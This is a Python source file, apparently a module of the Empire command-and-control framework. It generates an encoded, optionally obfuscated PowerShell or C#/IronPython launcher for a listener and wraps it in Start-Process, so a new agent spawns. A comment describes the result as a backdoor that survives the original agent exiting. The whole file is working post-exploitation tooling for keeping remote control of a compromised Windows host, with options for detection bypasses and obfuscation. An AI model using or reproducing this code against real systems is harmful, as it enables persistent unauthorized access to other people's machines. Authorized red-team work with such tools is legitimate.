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spawn.py
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from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
sys_wow64 = params["SysWow64"]
language = params["Language"]
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
if language == "powershell":
# generate the launcher script
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language=language,
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
elif language in ["csharp", "ironpython"]:
launcher = main_menu.stagers.generate_exe_oneliner(
language=language,
obfuscate=obfuscate,
obfuscation_command=launcher_obfuscate,
encode=True,
listener_name=listener_name,
)
if launcher == "":
return handle_error_message("[!] Error in launcher command generation.")
else:
# transform the backdoor into something launched by powershell.exe
# so it survives the agent exiting
if sys_wow64.lower() == "true":
stager_code = (
"$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher
)
else:
stager_code = (
"$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher
)
parts = stager_code.split(" ")
script = "Start-Process -NoNewWindow -FilePath \"{}\" -ArgumentList '{}'; 'Agent spawned to {}'".format(
parts[0], " ".join(parts[1:]), listener_name
)
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script